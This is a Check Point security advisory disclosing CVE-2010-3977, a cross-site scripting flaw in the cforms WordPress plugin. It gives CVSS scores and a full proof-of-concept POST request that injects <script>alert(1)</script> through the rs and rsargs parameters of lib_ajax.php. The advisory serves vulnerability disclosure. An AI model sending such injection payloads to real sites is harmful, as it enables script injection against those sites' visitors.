Check Point Software Technologies - Vulnerability Discovery Team (VDT)
http://www.checkpoint.com/defense/

cforms WordPress Plugin Cross Site Scripting Vulnerability
CVE-2010-3977


INTRODUCTION

According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax 
driven contact forms throughout your blog or even on the same page."

This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions 
maybe also affected.

cforms v11.5


CVSS Scoring System

The CVSS score is: 5.5
  Base Score: 6.7
  Temporal Score: 5.5
We used the following values to calculate the scores:
  Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N
  Temporal score is: E:F/RL:OF/RC:C


DETAILS

A data array is created in lib_ajax.php using values from a form field in a POST request.  The parameters rs and rsargs are not validated and thus
it is possible to inject code.

Request:
http://<server>/wp-content/plugins/cforms/lib_ajax.php
POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1
Host: <server>
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:
1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 219
Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do
%26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce
%26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do
%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;
c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;
comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam
%40checkpoint.com
Pragma: no-cache
Cache-Control: no-cache
rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#
$<script>alert(1)</script>$#$rbranco_nospam@checkpoint.com$#$http://
www.checkpoint.com$#$<script>alert(1)</script>



CREDITS

This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company (http://www.conviso.com.br) and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).